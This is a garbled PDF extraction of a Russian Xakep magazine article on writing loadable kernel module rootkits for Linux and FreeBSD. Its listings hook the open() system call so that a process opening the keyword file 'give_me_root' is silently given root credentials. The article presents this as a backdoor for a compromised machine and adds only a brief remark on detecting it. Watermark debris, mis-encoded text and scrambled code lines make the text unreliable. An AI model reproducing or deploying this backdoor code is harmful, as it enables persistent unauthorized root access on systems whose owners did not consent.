 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

85

 

 

 

hang

e

 

 

 

 

 

 

hang

e

 

 

 

 

C

 

E

 

 

 

 

C

 

E

 

 

X

 

 

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

-

 

 

 

 

d

 

F

 

 

 

 

 

t

 

 

F

 

 

 

 

 

t

 

D

 

 

 

 

 

i

 

 

D

 

 

 

 

 

i

 

 

 

 

 

 

r

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

o

 

P

 

 

 

 

 

 

o

P

 

 

 

 

NOW!

 

Кодинг

 

 

 

 

NOW!

 

w Click

 

BUY

m

w Click

 

BUY

m

to

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

o

.

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

Root

 

 

.

 

 

 

 

.c

 

p

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

g

 

 

 

df

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

df

n

e

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

ROOT ПОСЕЛЕНИЕ НА UNIX ТАЧКЕ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

maravan (maravan@real.xakep.ru)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

nix

тачке

 

 

 

 

 

 

 

 

 

поселение

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

íà U

 

 

 

ïîä

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-руткита

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Разработка своего lkm

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

nux

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

FreeBSD è Li

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Аббревиатура lkm

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

В последнее

время довольно популярными

стали

lkm-руткиты

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

следует из названия, lkm - это

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

le. Êàê

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

l modu

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

le kerne

 

 

 

 

 

 

. Почему

 

 

 

 

 

 

 

 

 

 

 

 

 

 

расшифровывается как loadab

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

предназначенная

для подгрузки в ядро операционной

системы

 

ýòîò

 

 

 

 

 

 

 

 

 

 

 

 

 

 

программа,

 

 

 

популярно

при написании руткитов? Ответ на

 

 

 

 

 

 

 

 

 

 

 

 

 

 

модулей ядра настолько

 

 

 

 

 

 

 

 

 

 

 

 

использование

 

работать напрямую с ядром, можно

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сомнений:

получив

возможность

 

 

 

 

 

 

 

 

 

 

 

 

вопрос не вызывает

 

. Это и полный контроль надо

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

с системой фактически

все, что заблагорассудится

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

делать

 

 

 

 

 

 

 

 

недоступные для «обычного» софта,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

âñåì,

что происходит в системе, и новые возможности,

 

 

 

 

-руткит

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Следовательно, грамотно

написанный lkm

 

 

 

 

 

 

 

 

 

 

 

 

работающего

вне ядра, и многое другое

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

подгружения в ядро

может поставить

администратора

системы в тупик

 

 

 

 

 

 

 

 

 

 

 

 

 

 

после

своего

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

от руткита будет полная переустановка

системы

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Единственным способом избавления

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Как это делается

 

 

 

напоминает обычную

 

По своей

структуре и по способу

загрузки lkm очень

 

 

 

 

 

 

модуля в

 

 

. Когда юзерский процесс инициирует

процесс загрузки

 

библиотеку

 

 

 

 

 

системного

вызова

 

«сообщает»

ÿäðó

 

посредством

некоторого

 

ÿäðî, ò.å.

 

 

 

 

 

модуля

â

 

 

 

 

ëêì

(lkm), ядро мапит код и данные

 

желание подгрузить код этого

 

входа

è

 

 

 

в таблице символов модуля точку

 

свое адресное пространство,

èùåò

 

собой

 

 

Â

принципе, все. Вот что представляет

 

 

 

 

 

 

 

.

 

 

 

 

передает

на нее управление

 

 

 

 

 

 

 

 

выполняет никаких операций, а

 

простейший модуль для FreeBSD, который не

 

 

 

 

 

 

 

åãî

не выгрузим:

 

просто подгружается

â ÿäðî

è

сидит

 

òàì, ïîêà ìû

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

(ЛИСТИНГ #1)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Небольшое пояснение:

 

 

ðîäà

функция

main()

 

нашего

модуля.

 

Íà íåå

 

_ops() -

это своего

 

 

 

 

 

 

 

.

 

module

 

 

 

 

 

 

 

 

 

 

модуля в ядро,

 

 

 

 

 

 

 

 

 

 

 

передается управление при загрузке

а также при его выгрузке

 

 

 

 

имеющий значение MOD_LOAD,

à

 

При загрузке ей передается

параметр cmd,

 

 

 

 

MOD_UNLOAD

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

при выгрузке, соответственно,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

sys_init

-

структура, при

помощи

которой ядро

 

è

ведет свой «диалог»

 

ñ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

для нас элементом

 

.

На данный момент единственным интересным

 

 

 

 

 

 

 

 

íà

модулем

 

является

ïîëå udata,

â

котором

 

содержится указатель

 

этой структуры

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

структуру dummy_module

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

В ней содержится

_module

-

структура,

описывающая

 

наш модуль

 

 

указатель

 

íà

dummy

 

 

 

название

модуля

 

(«dummy_module»),

 

непосредственно

 

 

 

 

 

 

данные

 

î

нашем

 

модуле,

 

 

 

íà

дополнительные

 

 

 

module_ops è

указатель

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

имеющий значение NULL.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

А вот то же самое, но только для

линукса: (ЛИСТИНГ #2)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Структура модуля в линуксе гораздо проще,

÷åì

âî Free BSD -

здесь есть

 

 

 

ïðè

загрузке

модуля,

 

è

только

 

init_module(),

который

 

запускается

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

èç ÿäðà.

 

 

 

 

 

 

 

cleanup_module, запускающийся

при его удалении

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

/* headers skipped */

 

 

 

 

 

 

_module»,

module_ops, NULL};

 

_t dummy_module = {«dummy

 

static moduledata

 

 

 

static struct sysinit sys_init =

 

 

 

{

SI_SUB_DRIVERS,

 

 

 

 

 

 

 

 

_MIDDLE,

 

 

 

 

SI_ORDER

 

 

 

 

_init,

 

 

 

 

module_register

 

 

 

 

&dummy_module

 

 

 

};

 

 

 

 

_ops (struct module *module, int cmd, void *args)

static int module

 

 

 

{

switch (cmd)

 

 

 

 

{

_LOAD:

 

 

 

 

 

 

 

case MOD

 

 

 

 

break;

 

 

 

 

_UNLOAD:

 

 

case MOD

 

 

 

 

break;

 

 

 

default:

(EINVAL);

 

 

 

return

 

 

}

 

 

 

 

return (0);

 

 

 

 

}

 

 

 

 

static void const * const

 

_init;

 

 

 

 

 

 

 

_sys_init = &sys

 

 

_set_sym_syscall

 

 

 

__set_sysinit

_set»»,\»aw\»»);

 

 

__asm(«.section .set.»»sysinit

 

 

 

__asm(«.long « «sys_init»);

 

 

 

 

__asm(«.previous»);

 

 

ЛИСТИНГ #1

 

 

 

 

86

current->uid = 0; current->euid = 0; current->gid = 0; current->egid = 0; return (0);

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

/* headers skipped */

int init_module (void)

 

{

 

 

return

(0);

 

}

 

 

void cleanup_module

(void)

{

 

 

return;

 

 

}

 

 

ЛИСТИНГ #2

Как видно из вышеприведенных

 

 

 

 

 

простой

 

 

 

 

 

примеров, оба модуля обладают относительно

структурой. Но самая заморочка

заключается не в структуре модулей,

à â òîì,

÷òî

именно код, на

 

 

 

 

 

который передается

управление, должен делать.

Для написания

этого кода

необходимо

более

структуре

 

ÿäðà

 

èëè

менее разбираться в

 

и принципах его работы,

поэтому

сделаем небольшое

лирическое

 

 

 

 

 

 

 

 

отступление. Естественно, весь кернел мы

рассматривать не будем

– сейчас это лишено смысла.

Рассмотрим

 

 

 

написания

 

 

 

 

лишь минимально необходимые для

 

простейшего кернел-бэкдора

элементы. Для того чтобы было

понятнее,

определим задачу,

 

 

 

стоящую перед бэкдором.

 

Пишем

local

backdoor

 

Предположим, на

троянизируемой

машине

ó

íàñ åñòü

обычный шелл

(нерутовый), и нам

нужно, чтобы

 

 

 

 

 

 

в любой момент времени мы могли

получить

на ней права суперпользователя.

 

 

 

 

 

 

struct pcred {

 

 

 

 

 

 

 

 

 

struct

ucred

*pc_

 

//

указатель на структуру,

 

 

 

ucred;

содержащую текущие привилегии процесса

 

 

 

 

 

uid_t

p_ruid;

// Реальный uid

 

 

 

 

 

uid_t

p_svuid;

//

Сохраненный

эффективный

uid.

 

 

 

 

Используется в том случае, если прога делает seteuid().

 

 

gid_t

p_rgid;

 

// Реальный gid

 

 

 

gid_t

p_svgid; // Сохраненный эффективный gid

 

 

int

 

 

p_refcnt;

 

 

 

 

 

 

 

 

struct

uidinfo *p_uidinfo;

 

 

 

 

 

};

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ЛИСТИНГ #3

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

P

 

 

 

 

NOW!

o

è

фрюхе

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

осуществляются

îíè

практически

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

одинаково).

Ñî

 

стороныBUY

 

 

 

 

 

прикладного

 

 

 

 

 

 

программиста

 

 

 

 

 

 

 

 

 

создание

сокета,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

например,

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

посредством

обращения

 

ê

 

 

 

 

 

 

 

 

 

 

осуществляетсяw

 

 

 

 

 

 

функции socket ().

Дальнейшими

 

 

w Click

 

 

 

 

 

 

o

m

обычно не

интересуется,

 

 

 

 

 

 

 

 

 

 

 

 

 

деталямиw

îí

 

 

 

 

принимая вызов

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

.c

 

socket() óæå

 

 

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

n

 

 

 

 

самом

 

äåëå

 

ýòî

íå

совсем

òàê. Êîä

 

функции

 

системным вызовом.

Íà

 

 

 

 

 

 

 

 

 

 

socket() располагается

â

 

 

 

 

 

библиотеке,

которая, в свою очередь, преобразует

 

 

 

 

 

параметров

 

переданные ей в качестве

 

 

 

 

 

данные в

 

âèä,

понятный ядру.

 

 

 

 

 

 

 

 

линуксом

 

 

 

 

 

 

 

 

 

 

 

Âèä ýòîò

 

в случае

ñ

FreeBSD

è

 

 

 

 

 

выглядит примерно

одинаково:

он состоит из номера системного

 

 

 

 

 

вызова

(например, во

 

FreeBSD

 

 

 

 

 

 

 

 

 

линуксе

 

номер системного вызова

socket()

-

97,

à

â

 

 

 

 

 

-

 

102) è

набора

 

параметров,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

После того, как произошло

переданных библиотечной

функции.

 

 

 

 

 

 

преобразование

â

понятный для

ÿäðà

 

 

 

 

 

 

 

 

параметры

 

распихиваются

ïî

регистрам

 

вид, номер и

 

 

 

 

 

 

 

 

 

 

 

 

 

процессора,

после

÷åãî íàøà

 

 

 

 

 

 

библиотечная

функция

делает int $0x80,

÷åì

передает

 

 

 

 

 

 

 

 

 

 

ÿäðå

 

 

 

 

 

 

управление в ядро.

Â

 

 

 

 

 

 

располагается

 

òàê

 

называемая

 

таблица

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

системных

 

вызовов,

 

 

 

 

 

 

представляющая собой массив,

элементы которого

- структуры,

 

 

 

 

 

 

 

 

указатели

íà

 

 

 

 

 

 

 

 

 

 

содержащие

 

 

 

 

 

 

 

функции-обработчики

системных

вызовов. Номер

системного

 

 

 

 

 

 

вызова

-

индекс в этом

массиве. Вот и

âñå,

 

 

 

 

 

 

 

дальнейших

 

действий.

 

что нам необходимо

знать для

 

 

 

 

 

 

 

Ñóòü

здесь

предельно проста

 

- заменить

функцию-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

/* headers skipped */

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

#define KEYWORD

«give_me_root» /* наше ключевое слово */

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

extern

void* sys_

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

call_table[]; /* таблица системных вызовов */

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

extern struct task_struct

*current; /* указатель

на структуру, описывающую

 

 

 

 

 

 

 

 

 

текущий процесс */

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

int (*orig_

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

open) (const char*, int, int);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

int our_open

 

(const char

 

*name, int flags, int mode) /* протрояненный

 

 

 

 

 

 

 

 

 

системный

вызов open() */

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

char *nn = getname(name);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if (strcmp (nn,

KEYWORD) == 0)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

системный вызов */

/* меняем

приоритет процесса, сделавшего данный

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

/* запускаем оригинальный open() */ } return (orig_open (name, flags, mode));

 

struct ucred {

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

u_short

 

 

 

cr_ref;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

uid_t

 

 

 

 

cr_uid;

 

 

 

// Эффективный uid

 

 

 

 

 

 

 

 

 

 

 

 

short

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

cr_ngroups;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

gid_t

 

 

 

cr_groups[NGROUPS];

 

 

 

 

 

 

 

 

 

 

 

 

 

};

 

 

 

struct

 

 

uidinfo *cr_uidinfo;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ЛИСТИНГ #4

×òî æå

 

будет

представлять

собой лкм, выполняющий поставленную выше

задачу?

Схема

 

следующая:

 

 

необходимо

узнать,

 

каким

образом

ÿäðî

определяет,

под каким

 

 

 

 

 

 

 

 

 

 

 

 

сделать

 

 

пользователем работает конкретный

процесс, и затем

так, чтобы ядро

определило наш процесс,

êàê

 

 

Для этого рассмотрим

 

 

работающий

под рутом.

 

сначала, что вообще

ÿäðî

о нем знает.

При создании

нового

процесса

 

ÿäðî

 

создает

 

 

 

память

 

 

непосредственно

 

ñàì

процесс

-

выделяет

äëÿ

кода, стека и данных

 

процесса. Кроме

 

 

 

 

 

 

 

 

òîãî, â

своем

адресном

пространстве

ядро создает

 

 

 

 

 

 

 

 

 

нужна для

 

структуру, описывающую

 

данный

процесс. Она

осуществления

 

планирования

процесса,

 

 

 

 

 

 

 

 

 

 

хранения

данных об

используемых процессом

ресурсах

è ò.ä. Âî FreeBSD ýòî struct

 

sys/proc.h), äëÿ

линуха

 

-

 

proc (лежит в

 

 

struct task_struct (лежит в

linux/sched.h).

 

Òàê âîò, â

этой структуре

è

содержатся данные о владельце

 

 

 

 

 

 

 

 

 

 

процесса. Для

линуховой

task_struct эта информация

хранится в таких ее членах,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

êàê uid, euid, gid,

egid.

Во фрюхе же для этого существует

 

 

 

 

 

 

 

 

 

 

 

 

 

 

которую

 

также

содержится

 

â

 

 

 

специальная структура pcred, указатель на

 

 

 

struct proc. Выглядит

 

ýòîò

pcred

 

примерно

òàê:(ЛИСТИНГ #3)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Структура ucred,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

соответственно, выглядит так:(ЛИСТИНГ #4)

 

 

 

 

Как нетрудно

догадаться,

 

äëÿ

òîãî,

чтобы наш процесс стал

рутовым,

íàì

 

 

 

 

 

 

 

 

 

 

 

 

нужно изменить соответствующие

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

FreeBSD)

 

èëè

struct task_struct

 

элементы его struct pcred и struct ucred (во

 

 

 

линуксе).

Вопрос только, каким

образом

менять эти элементы: для самого

 

lkm ýòî íå

представляет трудностей -

îí è

òàê

находится в ядре. Трудность в том, чтобы

 

процесс,

 

которому необходимо

повысить свои

привилегии, каким-то

 

 

 

 

 

 

команду

íà

 

образом смог передать

нашему модулю

изменение

 

элементов

 

соответствующих

 

 

 

 

множество

способов это

 

 

 

 

 

 

 

 

 

 

 

 

структур.

Существует

 

 

 

сделать. Мы же рассмотрим

 

самый

«стандартный»

способ доставки нужной

íàì

 

èíôû â

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ядро - посредством системных

вызовов.

Но для начала немного о том, как

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

осуществляются системные вызовы

в линухе

int init_module (void)

 

 

 

 

{

 

 

 

 

orig_open

=

sys_call_table[SYS_open];

указатель на

 

 

 

 

функцию-

 

 

 

 

обработчик open’а */

sys_call_table[SYS_open] = our_open; /*

указатель на указатель на наш обработчик */

return (0);

 

 

 

 

}

 

 

 

 

void cleanup_module (void)

 

 

{

 

 

 

 

sys_call_table[SYS_open]

=

orig_open;

оригинальный обработчик */

 

 

}

 

 

 

 

/*

сохраняем старый

заменяем оригинальный

/*

восстанавливаем

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ЛИСТИНГ #5

обработчик любого валидного системного вызова

íà

ñâîþ,

которая будет

выполнять нужные нам

 

действия, а затем

вызывать

 

 

 

 

обработчик. Или,

 

 

 

 

оригинальную

функцию-

 

скажем, нам нужно

подправить результаты

оригинальной

функции

 

(например,

äëÿ

òîãî,

 

 

 

чтобы

убрать

èç

листинга,

который

сгенерировал системный

вызов, какой-нибудь файл,

вследствие

станет невидимым

 

 

 

 

÷åãî îí

для любого процесса).

 

 

 

 

 

 

 

 

 

Вернемся

к нашим

баранам.

Для практической реализации

вышеописанного

способа возьмем

 

такой

 

системный

вызов, как

open(),

 

параметра

 

- èìÿ

 

 

 

 

 

который

имеет 3

 

открываемого файла, флаги

è

òèï

режим, в котором мы

будем работать

ñ

 

файлом.

Сделаем так,

чтобы

системному вызову

â

ïðè

 

передаче этому

качестве имени файла некоего

 

 

 

 

 

 

 

 

ключевого слова, ядро

повышало бы приоритет

нашего процесса до 0.

 

 

 

 

 

 

 

 

Âîò êàê êîä

выглядит для линукса:(ЛИСТИНГ #5)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

87

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

NOW!

o

Кодинг

 

 

 

 

 

 

 

 

 

w

 

 

to

BUY

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

o

m

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

ROOT ПОСЕЛЕНИЕ НА UNIX ТАЧКЕ

maravan (maravan@real.xakep.ru)

/* headers skipped */

 

 

 

 

 

 

#define KEYWORD «give_me_root» /* наше ключевое

слово */

 

 

 

_open (struct proc *p, struct open_args *uap)

 

static int our

 

 

. В отличие

от линукса, в качестве

/* протрояненый системный вызов open()

 

 

 

-обработчика системного вызова передается также

параметра для функции

 

 

 

 

. Второй параметр -

структура proc процесса, совершившего

данный вызов

системного вызова

структура с переданными процессом ядру параметрами

 

*/

 

 

 

 

 

 

{

 

 

 

 

 

 

char path[1024];

 

 

 

 

 

 

int mode;

 

 

 

 

 

 

->path, path,

sizeof(path)); /* копируем первый

copyin (uap

 

 

пространства процесса (uap->path)

аргумент функции open() из адресного

 

 

 

 

 

 

. */

 

 

 

в адресное пространство

ÿäðà (path)

 

 

 

 

 

== 0)

 

 

 

if (strcmp (path, KEYWORD)

 

 

 

{/* меняем приоритет процесса, сделавшего данный

системный вызов */

 

 

->cr_uid = 0;

 

->pc_ucred

 

p->p_cred

 

= 0;

 

->p_svuid

 

p->p_cred

 

 

 

->p_ruid = 0;

 

p->p_cred

 

 

 

return (0);

 

 

}

 

open() */

/* запускаем оригинальный

return (open (p, uap));

 

 

}

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

(ЛИСТИНГ #6)

 

 

 

 

 

 

 

 

 

 

 

À âîò êàê äëÿ FreeBSD:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Надеюсь, из комментариев

все понятно

.

Последний штрих - написать прогу,

 

 

 

 

_root», 0,

O_RDWR), а потом

 

 

 

 

 

 

 

которая будет делать нечто вроде open

(«give_me

 

 

 

 

 

 

 

 

появившимся ‘#’.

 

 

 

 

exec () на любимый шелл, и наслаждаться

 

 

 

 

 

 

 

 

 

 

 

 

 

Конечно,

вышеприведенный

пример

 

троянизации

системного

вызова

 

 

 

 

 

 

 

 

. Для детектирования достаточно

недорого стоит - он

элементарно

детектится

тот момент, когда

система точно

 

системных вызовов в

сделать копию таблицы

указатели на

à

потом

время

 

îò

времени

сверять

íå áûëà

протроянена,

 

 

 

 

 

 

 

 

 

 

 

что сразу позволит выявить троян

функции-обработчики оригинала с копией,

 

 

 

 

 

 

 

 

в случае

его установки в системе

. Можно,

конечно, копнуть глубже - заменять

-обработчики (об этом подробно

писал

не указатели, а

 

 

 

 

 

 

патчить сами функции

 

 

 

 

 

 

 

 

 

 

 

